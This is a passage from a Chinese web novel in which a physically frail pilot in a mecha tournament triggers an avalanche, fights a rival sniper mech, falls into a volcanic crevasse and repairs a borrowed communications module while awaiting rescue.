“那我们只能弃赛了吗？” “雪山环境我们不熟悉，机甲再出问题就太危险了，没事，留得青山在，我们明年再来吧。” “可刚刚有人撞得比我们更严重，她都没有弃赛！我们为什么要！”那人急得快要哭了，指着陶影的曙光T4。 他们撞击的情况甚至还算轻微，而陶影的机甲在地上滑出去十几米，才是真的撞得惨不忍睹。 队友摇摇头：“你别学她。她的机甲一旦进场，肯定会成为靶子，被阿尔泽塔甚至所有参赛队伍集中攻击……太危险了，简直是初生牛犊不怕虎，走吧，我们不能跟着新生一起胡来。” 三人虽然很想继续比赛，但只能无奈退场。 工作人员在名单上划去五道。 她感慨道：“算上刚刚作弊的，第九分赛区还没开始比赛就已经退场六个队伍，当中还有很有经验的三年级生……哎，这比赛究竟会变成什么样？” …… 广播系统传来急迫的提示音。 【 距离短距离跃迁还有30秒，请各位选手回到指定位置。】 那台引起风波的天机零仿佛什么都没有发生，自然地站入传送环。 “影子，你情况怎么样。” “本人没什么事，就是机甲有点半身不遂。”陶影颇有闲心地开着玩笑。 “那咋办？” “先进场，再看着办。我这身体干什么都很危险，那代表我什么都可以干。” 林别歌：“……”你那缜密的逻辑能不能用在安全的地方。 “哎，我不管啦！待会儿出事了别叫我！” 在场七十二台机甲的屏幕，同时显示出倒计时。 【即将开始短程跃迁，请各位选手做好准备。】 【五、四、三、二、一，启动！】 一道光线闪烁和剧烈的震动后，陶影眼前出现一片雪白，她能感觉到换气口进来的空气瞬间冰冷了好几度。 海拔上升了。 好消息，她和林别歌被传送到了同一个地方，是最高的主峰侧脊，可以一览雪原的战斗情况。 坏消息，这里是山脊侧面，雪层厚度有3-10米，脚下的雪层十分松软，一不小心就会触发雪崩。 现在就已经在不停滚落雪屑了。 陶影提醒道：“林别歌，你先别动。” 林别歌刚抬起脚，闻言又默默地缩了回去。 “动了会怎么样？” “我们会咕咚咕咚地滚下去。” “有体面一点的办法吗？” “也有，你想体验开机甲滑雪的感觉吗，一下冲到山脚的那种？” 林别歌看了一眼她们所在地的高度，呃……海拔五千米。到雪原的话，需要下降三千米。 道中还有各种雪丘和岩石，感觉冲下去的刺激感堪比坐过山车。 半路就会撞得东一块西一块。 林别歌死命晃着头：“我不想死，谢谢。” “唔，本来还有点想试试，算了，好不容易运气还不错随机到高地，先联系南瓜再制定战术好了……”陶影手指敲上联络键，顺口提醒林别歌雪白色看多了刺目，容易引发雪盲，会视力模糊，让她记得开启机甲的护目系统。 陶影话音刚落，脚下突然一震，她下意识抓住操作台边缘。 震动只有那么一瞬间。 伴随着微弱的踩雪声，陶影心道这震动不像是雪层深处传来的，倒像是近处的机甲踏在了雪地上。 但她和林别歌都没有动。 陶影扫视一圈，她们两台机甲立在斜斜的侧脊边缘。 寂静的雪色中，天地间好像只有她和林别歌的曙光T4，正在发出微弱的热量。 这里看不到其它机甲的存在。 但陶影没有听错。 如果刚刚的震动不是她和林别歌制造的，那么这里必然存在看不见的第三人。 身后的积雪，在太阳的照射下，微微扭曲了一瞬间。 别人可能察觉不到，但陶影曾在莱机所设置过光学迷彩系统。 温差带来的空气流动，会对光学迷彩造成一定影响。 陶影对这微妙的晃动非常熟悉。 “林别歌，你抬右臂。” “啊？” “照做。” 林别歌照着陶影说的，抬起曙光T4的右臂。 阳光直射林别歌的正面，在她背后投下一道阴影，光线方向改变的瞬间，地上影子不自然地变化了。 “果然是光学迷彩。” 林别歌还听话地举着手，脸上一脸迷茫：“啊？曙光T4有光学迷彩？” 这人一看就没背她给的机型功能大全。 陶影扶额。 “海选赛一共提供了四种机型，曙光T4，愚者MK2，VEGA——还有唯一携带光学迷彩的的天机零。” “天机零身为狙击型机甲，具有强隐匿性，如果抢占到高地，开场就是所向披靡，一枪一个小朋友。” “能赌到这个地方，这选手运气不错。” 陶影抛出一连串分析。 林别歌听完这一通话，终于反应过来，刚才队长是在测试这台天机零的位置。 她也想测试天机零的位置！ 林别歌跃跃欲试，且决定现在就试。 她抓起一把雪，开始往陶影这边砸。 陶影：“？你干嘛。” 林别歌兴奋道：“我想依靠砸雪到他身上，确定他的位置，但不能做得太明显，所以先假装和你打雪仗，这样他就不会起疑心了！” 陶影：“……” 有时候她会希望队友不要思考。 尤其是某只比格。 林别歌的动作非常大，足以引起天机零机师的注意。 而对方确实注意到了。 对狙击型机甲的机师来说，最害怕的就是暴露自己的位置，因为一旦发生这种情况，他会立刻成为被集火攻击的中心。 狙击手暴露位置=死亡。 天机零的机师决定先解决掉离他最近的两个对手。 陶影听见面前传来轻微的“喀哒”一声。 像是子弹上膛的声音。 她确认，那台天机零此刻正对着她。 陶影迎战般举起热力刀，一举划破面前的空气。 扭曲的光线中，一道黑洞洞的枪口，赫然出现在HUD面板中心。 背后是万丈深渊，而对手已扣下扳机。 而那台黑白双色的机甲左肩处—— 蹭上一处黑色漆点。 陶影嘴角聚起一个笑容，后退一步，右臂紧握热力刀，狠狠插入冰层。 那是冰层最薄弱的地方。 一阵沉重得仿佛远古时代传来的闷响，从雪山深处裂开。 脚下的积雪开始一层层剥落。 山体咆哮着，嘶吼着，积雪聚成白色巨兽从山顶冲下。 场面十分壮观。 但没人有闲心欣赏。 雪原上刚刚结束热身的选手们：“……” 星舰内的工作人员：“……” 正在观看海选赛的观众：“……” 天穹杯机甲联赛，切斯特星第九分赛区。 开局两分钟，堂堂雪崩—— 作者有话说：陶影：对付比格的队友要比她更比格。 林别歌：你点我名算了。 第63章 【雪层内部不平稳波动。】 【系统分析完成,生成对冲波形。】 【对冲波形已发射。】 【波形抵消10%——40%——90%——】 【已阻止雪崩进一步扩大。】 星舰内，到处是忙碌的工作人员。 因为缺人，判定员和检查员也被拉来帮忙,几十名工作人员蚂蚁般在办公桌和分析仪器间来来回回。 “让让，让让,我要去报告！” 一名技术员大喊着挤过人群，她急得踢到地上的电缆,险些摔跤之时,旁边的人顺手扶了她一把。 她满脸感激地抬起头,看到扶她的人后，更是大声道：“谢谢封组长！” 封珑地点头,随后继续询问。 “为什么会突然雪崩？你们在比赛前应该明确检测过场地安全。” 技术员回归工作模式,紧张道：“是的,我们赛前重复检测过场地安全，非常确认雪崩的机率在百分之二以内。” “意思是很难发生雪崩,所以究竟怎么回事？” 技术员摇摇头：“还不清楚。附近的仪器受到影响，光学摄像模块还未完全恢复,我们正在等待它传来录像进行分析。” “但是根据经验，我们可以初步判断，这场雪崩是人为制造,而且是在非常精准的位置。” 和她的猜想一样。 封珑环臂站在窗边。 向山下猛冲的白色巨兽，此刻脚步逐渐缓慢，停止在雪原上方。能看到雪原区域的几十台机甲，已经开始观察情况。 甚至有选手抓住机会，趁机得分。 赛场秩序基本恢复。 没什么太需要担心的。 封珑在第九赛区干了很多年，也算是见过很多大场面了。 雪崩……虽然是意料之外，但她们对此当然有应急预案。 不算什么难处理的事。 封珑处变不惊,转头继续等待有人报告选手们的情况。 来了。 “组长，封珑组长！”一个戴着眼镜的技术人员手里举着平板飞快冲到窗前。 因为跑得太快，技术员大喘气地撑住膝盖，说不出话，封珑早习惯了这群技术员的身体素质，先接过她手中的平板，滑动几下。 封珑简短道：“雪崩到达雪原前，有足够的时间，选手来得及反应，危险不大，不用管。” “上方区域还有学生在！一共六台。” “她们的位置呢？” “其中四台机甲自行前往安全区域，剩下的两台…… “太空女鬼队的曙光T4，和阿尔泽塔军校的天机零，雪崩开始前处在同一个位置，现在曙光T4失去信号，天机零倒是还有一点信号传出。” “两台机甲的安全情况无法确定。” “而且，那台曙光T4里面的学生似乎是……那位‘体质F同学’。” 技术员语气迟疑地往医疗舱方向看了一眼。 在场的医疗舱人士本来还在开心摸鱼，毕竟没有选手受伤，他们可以闲在一边吃技术员的瓜，听到这个话，齐齐出声：“WTF？” 封珑也是眉心一皱。 对了，差点忘了这位医疗舱重点关注对象。 封珑一直怀疑，这名学生被扔到第九赛区，是其它所有赛区长的阴谋。 因为抽签的那天她不在场。 这学生的体质……算是封珑难以预测的变数之一。 封珑头痛地按着脑袋：“技术部，想办法定位曙光T4的位置，医疗舱，优先救援，去吧。” “收到！”“收到！” 封珑安排好事，想着雪崩的事情告一段落，坐回椅子上。 但刚刚的技术员收到了新消息。 她道：“技术部已经收到录像，分析数据后，发现冰层一开始的裂痕出现在接近峰顶的侧脊。” 技术员面色犹豫，似乎有什么话想说，封珑主动开口问：“怎么了？” 见技术员支支吾吾，半天没说出个字来，封珑语气又重了些。 “说。” “制造雪崩的，似乎正是驾驶曙光T4的那位，呃，体质F同学。” 封珑：“……” 她痛苦地揉揉眉心。 合着体质F只是她给的一个小惊喜。 后面还跟着大的？ 陶影踩入冰层的瞬间，天机零的子弹随之发射。 她向后坠落，同时抓住了天机零的狙击枪口。 子弹擦过曙光T4的侧颊部，划出一道刮痕。陶影打了个急转，避开攻击，同时紧握枪管，将狙击枪往背后一甩，随后手掌一抬，将天机零的机体扯了过来。 两台机体抱在一起，飞出雪山的侧脊，随着雪崩一起滚下。 天机零想要挣脱，但曙光T4死死扣住天机零的后背。机体受伤的警报声不停响起，陶影充耳不闻，双臂又是一提，两台机甲在空中换了个方向。 下一秒，天机零的后背狠狠撞上岩石。 金属和石头剐蹭，发出令人牙酸的声音。 对方机师急了，一拳揍上曙光T4的光学组件——陶影半点没慌，右手的热力刀直接削飞天机零的右臂。 对方又伸左臂夺刀，陶影抓住它后颈的能源核心，捏爆一块。 “你他X的——”天机零的机师大喊。 隔着巨大的雪层崩裂，陶影听见天机零机师划破整个赛场的骂街声。 陶影笑眯眯道：“不要说脏话，同学。” 两人滚动了大概有几百米，下坡的速度才稍微缓慢一点。 途中两台机甲一直你一拳我一拳地揍来揍去，互相谁也不让谁，但天机零的近战能力近乎为零，几乎被陶影死死压着打。 天机零的机师许彪接连收到系统的损坏警告。 【能源核心损失30%。】 【左臂损耗40%，腕关节以下丢失。】 【整体装甲损坏50%。】 【整体损坏大于30%，建议更换相关零件。】 天机零是狙击型机甲，机体大小和吨位都略低，近战能力并不如曙光T4。 开局直接机甲损耗30%！这还打个屁！ 许彪气得猛拍了一下操作面板。 他气得两眼发红，指尖都握白了，随后怒气冲冲地看向罪魁祸首——陶影的曙光T4。 不就赛前撞了她一小下，这人竟然报复心这么强，强行制造了雪崩！ 别人没看清，他可是看见，这名机师特地挑了冰层薄弱的地方，将热力刀插下去加热，准确破坏了冰层结构。 简直是个疯子。 新生里怎么会有这种人？敢惹阿尔泽塔军校的学生，不怕他报复吗？ 等他找到机会…… 很快，许彪的HUD面板上出现一截树干。 许彪脸上的横肉拧动几分，心中有了主意。机会这不就来了？ 天机零机体经过树干，许彪攀岩跳跃一般，向上一步，随后单手猛地一抓，机体半挂在树干处。 他不停左右甩动。 挂在他身上的曙光T4猛地一坠。 许彪借离心力，大喝一声：“下去吧你！” 许彪一脚踹上曙光T4的驾驶舱，将黑色机体蹬飞。 曙光T4在空中艰难地寻找着落脚点。 高峰的雪近乎崩落，此刻只剩一层薄薄的雪层，并不像之前那样松软。 曙光T4勉强落地，左关节处发出断裂的声音——似乎是终于撑不住了。 它一路向下，在地上划出长长的雪痕，因为惯性根本无法调整姿势，而它所在的方向竟然是——雪丘！ 雪丘的下方一望无际，直通雪原。 滚着下去吧。 许彪哼哼两声。 “下次看见我们阿尔泽塔记得躲着点，你惹不起的，新生。” 但许彪没有得意多久，仅仅过了五秒，他就不敢相信地睁大眼睛。 那台曙光T4，竟然在空中保持着平衡，随后发射出钩爪—— 精准钉住雪丘下方的大块岩石。 呼呼的风声中，雪山一时安静。 许彪一直看着岩石上的那条缆索，不能移开哪怕一瞬的目光。 钩爪晃动了两下。 曙光T4靠着钩爪，用热力刀在裸露的岩石横向砍出防滑的刀道，一步步拉着缆索爬上了雪丘。 然后缓慢抱住那块突出的岩石，也调整姿势，卡在半山腰。 此刻，他们两台机甲都破破烂烂地卡在山体一半，不上不下。 两人随即被山下的其它狙击手发现，砰砰就是两枪。 【阿尔泽塔军校，当前分数36。】 【太空女鬼队，当前分数2。】 看来这位“女鬼”的队友并不是很强力。 算起来刚刚曙光T4的机师在他这里得了2分，合着她那两位队友一直在摸鱼，一分都没得？ 看她们这个情况，就算揍了他一顿又怎么样，立马就会被淘汰了。 许彪心中平衡了一点。 他开启了天机零的光学迷彩，这下曙光T4几乎成了活靶子。 许彪冷笑一声：“刚才不是挺厉害的吗？怎么不动，有本事继续过来揍我啊。” 陶影毫无反应。 许彪更是觉得，这位“太空女鬼”肯定是认输了。 他调整一下位置，解放了手，用腿部卡在树边，朝她挑衅道。 “喂，装死啊？” “耳朵聋了？” 陶影一句话没回。 打架打累了，正在补充体力条，谢谢。 被当成靶子打了几枪，来自雪原的攻击又停了，似乎因为太集中攻击她，这台狙击机甲暴露位置，陷入了另一场苦战。 陶影晃了晃有点头晕的脑袋，掏出药瓶往嘴里喂下一颗营养剂，随后整个身体陷入驾驶舱。 驾驶舱垫满了软垫，是她以防止骨折的原因带上来的。 身体没有问题，就是运动过度，有点虚。 毕竟她刚刚大战了十二分钟。 突破了她的体力极限差不多三十秒吧。 非常有进步。 陶影安详地闭上眼睛。 十分钟 后，陶影体力条补充完毕，重新确认机体状况。 通讯模块受到物理性损坏，一直滋啦滋啦乱响，完全联系不上林别歌和南卦，甚至连联赛官方的紧急通讯都断掉了。 机甲不停提醒陶影向赛方寻求帮助。 陶影现在的位置非常显眼，时不时有雪原的狙击手给她喂一颗子弹，想必星舰上的工作人员肯定发现她了，倒是不担心安全问题。 但没有通讯联系不上队友，确实挺麻烦的。 她之前准备的127.0.0.1通讯挂件，因为有电波发射模块，不能带进来。 “先找个能通信的办法吧。” 既然她的模块损坏，就先拆个别人的用用。 反正比赛规则也没说不行。 陶影侧头看向在场的另一台机甲。 天机零如她所料，还挂在树干上。 思索片刻，陶影取下钩爪，在空中甩了三圈，钩爪一举飞到天机零右侧的岩石上。 陶影扯了扯，卡得还挺牢固，便右腿一蹬，一个飞身跳了过去。 许彪正在走神，回头看到陶影的动作，倒吸一口凉气。 “还来？” 他想退但又没地方退，陶影一把抓住树干，缠上天机零的左臂。 两台机甲就这样抱住同一根树干。 显然，这是树干不能承受之重，它迅速从根部开始出现裂痕。 嘎吱嘎吱的断裂声，听来十分惨烈。 许彪受不了了，开外放大喊。 “你有完没完？” 陶影按住天机零的通讯模块，凑上前去，邪魅一笑道： “——没完。”—— 作者有话说：三分邪魅两分算计一分漫不经心（x 第64章 树干很快断裂。 陶影抢过通讯模块后,重新甩动钩爪，试图荡回原先的位置。 但半空中，机甲突然一重。 是许彪的机体吊了上来。 许彪为了恶心她,这次死死抓住她的机体，一点不松。 这人大喊一声：“休想甩开我！” 俨然一副要跟她杠上的模样。 突然增加的重量,让两台机甲顺着缆索滑下去数百米。缆索过热爆出滋啦滋啦的火花。 他俩缠斗一番，最后同时踩上一块冰面。 刚落地,陶影就知道事情不妙,这里的冰层薄得离谱。 脚下的冰层瞬间爬满了蛛网状裂痕,传来碎裂声。 “啪啦——” 陶影看清冰层下面的状况，眸色深了深,试图立刻跳到附近的岩石上。 但许彪显然还沉浸在他的报复心里,没有察觉到脚下的危险。 他紧紧抱住曙光T4的大腿。 陶影踹了一脚,没踹开。 而同时，冰层轰然裂开,雪山的裂隙张开大嘴，二人的机甲双双被吞了进去。 许彪这才发觉不对,大喊：“怎么回事？！” 陶影面无表情。 还能怎么回事。掉进雪山裂隙了。 光脑助手在播报健康提醒。 猛烈的坠落感中，陶影按住剧烈跳动的心脏。 心里只有一个念头，别晕,先别晕，最起码等紧急通讯连上了再晕—— 心理暗示似乎起了一点作用，陶影的头晕减缓了。 通讯……还是没有连上。 裂隙很宽，也很深。 视觉模组瞬间被雾气遮盖，陶影无法判断前方的情况，只觉得机体一直在下坠。 时不时撞到凸起的岩石，弹来弹去。 缆索长度不够,早从手中滑脱，而在未知环境贸然使用推进器，掌握不了方向，也很危险。 陶影只能使用原始一点的办法停止下坠。 曙光T4双手握住热力刀，插入岩壁。一阵冲击后，两台机甲勉强吊在半空。热力刀受力变化，在岩石缝中发出尖锐的摩擦声。 裂隙中一片漆黑，曙光T4仰头。 入口处冰层碎碎地往下落，显然很脆弱，凭这台机甲，很难往上。 那下面有落脚点吗？总吊着也不是个事。 陶影操作机甲低头，观察下方一阵后，心里有了主意，她操作机甲在岩壁上摸索着什么，很快，她找到了一个突出的岩块。 曙光T4的手掌包覆上岩块，往斜上方一推，拳头大的岩块顺势落在机甲掌心。 陶影单手握住岩块捏了捏，硬度跟大小都还行。 而此刻——天机零抱着曙光T4的右腿，想往上爬。 天机零的机师抬头，自然看到曙光T4正在把玩一颗石块。 许彪惊讶又恼怒。 这么紧急的情况，这人搞什么？ 冰川裂隙，底下不知道有多深，很危险，他们必须尽快上去。 但他们的机甲经过一场战斗，损耗都很严重，要爬上去几乎不可能。 现在唯一能做的，是联系上赛方，用缆索把他们拉上去。 但许彪刚刚发现，曙光T4的机师竟然不知道什么时候，把他的通讯模块给掐了。 情况怎么想都非常糟糕。 而这个人竟然还在这里盘石头？ 许彪怒道：“你干什么，这时候还有闲心抠石头玩？” 曙光T4垂头，白色灯光在眼中闪烁。 这个打灯是表示疑惑的意思。 陶影似乎是终于想起在场还有一个人，竖起一根食指，向许彪说明当前的情况。 “第一，扔石头是要测试这个裂隙有多深。” “第二，现在的情况不在我预料之内，所以你最好不要再添乱。处理起来很麻烦。” “第三，你要是愿意主动跳下去测试高度，我当然也没意见。” 依次举完三根手指，曙光T4歪了歪头。 “所以扔石头还是扔你？” 许彪：“……” 半晌，许彪语气十分硬气道：“扔石头。” 陶影耸耸肩。 早认怂不得了。 石块掉落约十二秒后，漆黑的底部发出一声清脆的触底声。 他们现在的位置，距离底部约五百米。 陶影正要调整姿势跳下去，许彪突然拦住她。 “等下，你只是测试了深度，如果下面的冰层很脆弱怎么办，我们岂不是还会跌到更深的地方？” 陶影顿了顿：“你叫什么名字？” “许彪。” “好的，许彪。我简单解释一下，底下没有冰层了。弗洛法山脉是火山，我们已经略过冰层，现在进入了火山的裂隙。你仔细看看周围呢，哪里还有冰。” 许彪谨慎地转了转头，确实如陶影所说，这附近已经全是黑色岩壁，没有冰层了。 但许彪还是很奇怪，他问：“那上面为什么会有雪？雪山下面不是冰川吗？冰川下面不是海水吗？” 许彪越想越觉得自己说得有道理。 他指着陶影道：“我还是觉得下面很危险。” 陶影无语道：“冰川下面也可能是岩石和冻土，你们阿尔泽塔军校的地理课是体育老师教的吗。” 许彪还有问题，但陶影懒得解释，干脆趁许彪不注意，把他给踹了下去。 “咚——” 裂隙底部传来许彪的问候声。 嗯，看来挺安全的。 陶影调整了一下姿势，操纵机甲蹦了下去。 落地前，推进器断断续续启动，机甲平稳落地。 面板一片漆黑，什么也看不见。 陶影打开灯光，扫视了一下周围环境，熔岩型地貌，和热渊迷宫的环境差不多。 就是太暗了，有点像探索地底的惊悚电影。 墙上的玻璃状晶体传来反光，视觉面板闪过一道白光。 许彪发来骂人的通讯。 “你他X——” 陶影关闭了他的发声模块。 对方再次发来通讯。 “你他——” 陶影切断了通讯。 “你——” 三分钟后，陶影眨了眨眼，看着驾驶舱外的面孔。 许彪远程对线不成，气得直接下机，跳上了曙光T4的驾驶舱。 此刻正狠狠用手掌拍着舱门。 陶影这才注意到许彪的机甲似乎被摔得东一块西一块。 当然，驾驶舱还好好的。 就这点距离还不 至于摔坏驾驶舱，就是坠落的感觉有点吓人而已。 许彪显然被吓到了，他指着曙光T4的头，气得眉毛成了八字。 许彪咬牙：“竟然直接把我扔下来！你给老子出来，我今天非揍你一顿不可。你叫什么名字！我让你死得明白点！” “哦，这个啊，我想想。” 陶影刚出了一身汗，身上有点凉，她慢悠悠从背包里掏出毯子裹在身上，只露出一个头。 不慌不忙道：“我是你太奶。” “呵。” 还有闲心当人祖宗。 许彪冷冷一笑，竟是回自己的机甲，从工具箱里挑出来一根撬棍似的东西。 哦，是手臂粗的超大扳手。 许彪气冲冲过来，看样子是想强行撬开陶影的驾驶舱门。 “你确定要这么做？”陶影摩挲下巴，若有所思。 许彪冷笑：“怕了？” “怕你死我机甲上，算了，你继续敲门吧，我先睡五分钟。” 许彪：“……” 他不是来敲门的，他是来手撕驾驶舱的。 这罪魁祸首竟然还有心思睡觉！ 许彪显然忘了今天这场缠斗的起因是他开场撞飞了陶影的机甲，也显然忘了这场意外似乎是他造成的，继续用扳手撬曙光T4的舱门。 陶影当然不可能真在这时候睡觉。 毕竟通讯模块还没接上。 两台机甲的通讯系统不一样，曙光T4要使用天机零的通讯模块，需要重新编译连接。 但对她来说不难。 陶影手速飞快地操作面板，一连串代码从屏幕上飞过。 很快，系统层面更改完毕，通讯模块显示连接中。 【正在与外界连接通讯，40%——80%——连接失败。】 嗯？ 陶影疑惑地又试了几次。 【70%——连接失败。】 【60%——连接失败。】 怎么连接进度还越来越少了？ 看上去不像是系统问题，像线路过载短路了。 陶影将通讯模块举到面前看了一下，果然有一处模组线路的外壳磨损，露出里面的金属导线。 ……看来需要出去拧一下线路。 但门口还有个脑子不太好使的男的堵着。 陶影视线一转，许彪还在“敲门”，一副只要陶影出去他绝对狠揍一顿的凶狠流氓表情。 不愧是军校学生，身体素质确实是不错。 打不过啊，怎么办呢？ 陶影起身搓了搓手。 虽说到了火山内部，但温度也并没有增加。 弗洛法山脉的火山活跃性不强，自从雷瓦尔帝国建国以来，就没有爆发过。 这里没有足以致人死亡的有毒气体，但也不代表环境安全。 氧气稀薄，不太适合剧烈运动。 陶影带了氧气瓶倒是不担心，仔细一想，许彪一直在那儿蹦来蹦去的，应该会缺氧吧。 陶影颇为好心地提醒道：“许选手，你没觉得有点不适？” “少废话，有本事出来单挑！” 许彪虽然放狠话，但确实越说越觉得气息不太稳。 经陶影提醒，他终于反应过来自己缺氧了。 一旦头脑意识到，身体也会迅速地意识到，他突然开始呼吸急促，喘不上气。 许彪半跪在地，两手撑在舱门上，胸口仿佛被人重重捶了一拳，他觉得自己要死了。 气息恍惚间，听见曙光T4的舱门打开的声音。 终于…… 那个混蛋终于出来了。 许彪很想揍人，但没力气，他呼吸急促地抬起头。 一束微光投射在机师的身上。 许彪没有见过这台机甲的机师，但在他的想象当中，应该是个身体健全，长得颇为欠揍的…… 健壮军校生。 但这人和他想象中完全不一样。 面色惨白，像个女鬼不说。 还裹着毯子，一手抱着氧气瓶，一手往嘴里塞药片。 像是棺材里躺了十年突然诈尸的。 许彪心道难不成他其实已经死了，这是他的幻觉？ 许彪下意识伸手，想去抓那名病弱机师的脚腕，但一点力气都没有。 下一秒，他的嘴被氧气面罩扣住了。 曙光T4的机师不知道是不是故意的，在递氧气面罩的时候，不小心扇了许彪两巴掌。 她半蹲下身，喃喃道： “还好有带备用的氧气瓶，可不想跟你共用，感觉智商会被传染。” 没办法说话的许彪：“……” 第65章 这口氧气来得太及时,许彪仿佛抓到救命稻草，死死按住面罩，下意识大口吸气。 陶影掐住氧气管,提醒道：“小口，慢吸。” 许彪反应过来,骤然大口吸气反而会让身体更不适，他逐渐平缓了呼吸,身体没刚才那么难受了。 陶影懒懒地对着光脑读秒。 “2分50秒……2分59秒,OK。” 陶影掐表数完三分钟,看许彪恢复得差不多了，干脆地把氧气面罩松开。 经过一阵折腾,许彪劫后余生,不敢再剧烈运动,乖乖坐在那里，抱着氧气瓶时不时吸一口。 陶影则是还有正事要做。 她两手扒上金属外壳,身体紧贴着机甲，液体般顺着驾驶舱,手脚并用地爬下曙光T4。 扑通一声，陶影牢牢地踩在地面上。 “你去哪儿？”许彪向下探脑袋问。 陶影抛给许彪一个手电筒，提起手中的工具箱示意。 “修理一下通讯模块,帮我照明。” “你还会修这个？”许彪一脸不信，但还是磨磨蹭蹭按下手电筒的开关键。 下部二氧化碳沉积，空气更重也更难呼吸。 陶影一手提着工具箱，一手抱着氧气瓶，慢吞吞绕到曙光T4背后。 她提前把通讯模块拆放到这个位置，很快就找到了。 工具箱落在地上，哐啷一声,在相对密闭的洞穴中，声波不断回荡着。 那回声有些不大自然，像是远古生物在低吟。 陶影脑中莫名闪过一道白光，好像有什么东西从她的意识穿过，回过神的时候，人已经蹲在地上。 两手擦过地面，摸到一处有规律的纹路。 陶影顿了顿，起身后退一步，许彪的手电正好打在那道纹路上，照亮一排文字。 这是蓝星的文字。 陶影对蓝星文字没有太多了解，只能勉强翻译出其中四个字——她在这里。 这四个字纹路尤其深刻，刻的人似乎用了很大的力气。 但蓝星的文字为什么会在雪山的裂隙里？ “她”又是谁？ 总觉得凉凉的，好像有什么东西在看她。 陶影抬头看向洞穴深处，但那里只有一片深邃的黑色，陶影无法从那里找到任何东西，她瞳孔收缩，突然觉得头有些晕。 如果是星火科学栏目组，这段应该又能演三集。 不过陶影得出的科学结论是——她缺氧了。 吸了两口氧气再抬头，果然，那种浑身发凉的感觉消失了。 陶影又让许彪往岩壁上照了照。这里刻着更多蓝星文字。 文字包含了日期，大概是一些记录。 许彪看得头皮发麻，奇怪道：“什么东西？” “人类刚来到切斯特星的时候，估计在这座山脉探险过，也算是遗迹了，回头记得上报一下。” 陶影兴趣缺缺，她对过去的事没太多兴趣。 现在要做的事比较重要。 她没再停留，抓紧时间捡起地上的通讯模块，迅速接好线路后，颤巍巍爬回驾驶舱。 很久没有动静，许彪问：“喂，通讯怎么样 了？” 驾驶舱内门上显示出几个电子大字。 “修复中，请勿打扰。” …… 而驾驶舱内的陶影，终于成功连接上通讯。 两个队友的头像在屏幕上跳来跳去，满屏都在询问她身体状况。陶影大概解释了一下她现在很安全不需要担心，然后又把话题转回了比赛上。 “我们队现在得分多少？裂隙里网太卡了，看不见实时分数。” 林别歌匪夷所思：“你不应该先报位置吗，这种时候还只想着赢？” “我已经报救援了。” 林别歌凛然大义：“不，我还是不放心，亲爱的队长，你在哪里，我来救你。” 这人为什么老是转移话题，不回答她积分榜的问题？ 片刻后，陶影恍然大悟，笃定道：“难道两个小时过去，你们得分还是零？” 林别歌不说话了，看来是猜中了。 网络终于通畅，陶影看了一眼比赛的积分榜。 排名第一的是阿尔泽塔军校，积分189，后面几个队伍分数也咬得很紧，都在150分左右，分差不超过三十。 “太空女鬼队，积分2，排名倒数第一。” 和倒数第二相差……48分。 陶影慈祥道：“进步空间非常大啊，两位队友。” “咳咳，”林别歌扯扯衣领，挽尊道，“我们刚才联络不上你很着急，所以一直在雪山来回跑，就为了找你，忘了还在比赛。” “最起码我们队伍的分数不是零，而是二，”南卦强行道，“应该是比格老师拿的！” 林别歌一头雾水：“是吗？我有拿分？”她怎么没有印象。 陶影扶额：“那两分是我拿的。” 南卦和林别歌战术喝水。 唯独的两分怎么还是最柔弱的队长拿的！ “没事，队长，等你出来指挥，我们肯定逆风翻盘。” 林别歌握拳，显然对陶影的能力非常有信心。 陶影却摇头：“恐怕有点困难。按照赛场的安全条例，救援后我会被强制暂停比赛，送去医疗舱。等医疗舱一套检查流程下来，比赛早结束了。” 去医疗舱意味着暂停比赛，也不能和队友联系。 当然也没办法指挥。 陶影解释完，两位队友沉默一会儿。 海选赛第一轮的前十名可以晋级到下一轮，以现在的积分榜来看，她们需要150分才能有晋级的机会。 能威胁到南卦和林别歌的机甲并不多，但在短时间内大量刷分，还是比较困难。 南卦失落道：“我们果然要在海选赛被淘汰了？” 陶影隔着屏幕摸摸队友的头：“不至于，我会提前想好办法，只是可能赢得没那么刺激。” “能赢就行，而且一刺激多半我又要倒霉，这刺激不要也罢。所以你有什么办法？”林别歌两眼放光。 陶影唇角轻轻一弯：“距离比赛结束还有半个小时，你们一人得一百分，我们就能通过海选赛第一轮了。” 林别歌噎了一下：“你是不是有病？” 开场两个多小时，第一名也只拿了189分。 让她们半个小时之内反超第一名，这叫不够刺激？ 那可太刺激了。 林别歌面无表情道：“你怎么不干脆命令我俩统治星际？” “考虑到你们的政治素养，统治星际的可行性比较低。”陶影摊手。 林别歌呵呵两声：“那想来你的政治素养必然很高了？” 陶影欣然点头：“谬赞。” “没夸你。话说你还真想过统治星际啊？你站哪一派的？” 哪一派？陶影摸摸下巴。 雷瓦尔帝国的主要政治派别有两个，但林别歌问的显然不是这个。 果然，下一秒林别歌越想越饿，自言自语道：“我是好想吃派。” 南卦举手：“我是艺术派。” 陶影接话道：“我是猫薄荷派。不开玩笑了，把你们的信息面板共享一下吧，我看看赛场情况。” 很快，赛场的情况转播过来。 两位队友的机甲，都在雪原东面，因为之前的雪崩，大部分机甲都聚集在这个相对安全的地带。 草草数了一下，曙光T4三十九台，愚者MK2和VEGA各十八台。 共计七十五台机甲还在继续比赛。 三台狙击型机甲被揪出来集火，但主要是被阿尔泽塔拿来刷分，已经被攻击得面目全非。 阿尔泽塔军校的分数还在不断上升。 200、220…… 被他们盯上的机师都主动认输，退出了比赛。 三台天机零的退出，意味着场上剩下的都是近战型机甲了。 陶影的手在操作面板上滑动。 思索片刻，她点开机甲系统后台。 “启动备用方案吧。” “你还有备用方案？”林别歌不信中带着一点小小的期待，“难道真能赢？” 陶影对着屏幕弹了一下队友的脑门。 “谁上场是为了输？” …… 头顶传来一阵轰鸣。 林别歌抬头，一台画着护士猫LOGO的小型救援舰飞过她们的头顶。 救援舰悬停在雪山的一处，确认周围地面情况安全后，一群工作人员来到裂隙附近的位置，开始讨论救援方案。 五分钟后，他们结束了讨论，展开救援。 “机甲的回收放到比赛后再进行，当前优先利用救援索，把两位选手拉上来，送去医疗舱，确认他们的身体状况。” “收到！”“收到！” 两名救援人员全副武装，挂着救援绳匀速下降。 根据选手提供的信息，他们很快下降到指定高度。 裂隙底部，一台只剩驾驶舱的天机零，和一台破破烂烂的曙光T4，出现在救援人员面前。 两台机甲的状况都惨不忍睹，显然掉下来之前，他们经历了一场恶战。 救援人员心道海选赛至于打得这么你死我活吗？他们不太理解地摇摇头，落地开始救援。 许彪坐在地上，手里抱着氧气瓶，精神挺好地朝他们挥手。 两位救援人员商讨了一下，决定让体质F选手先上去。 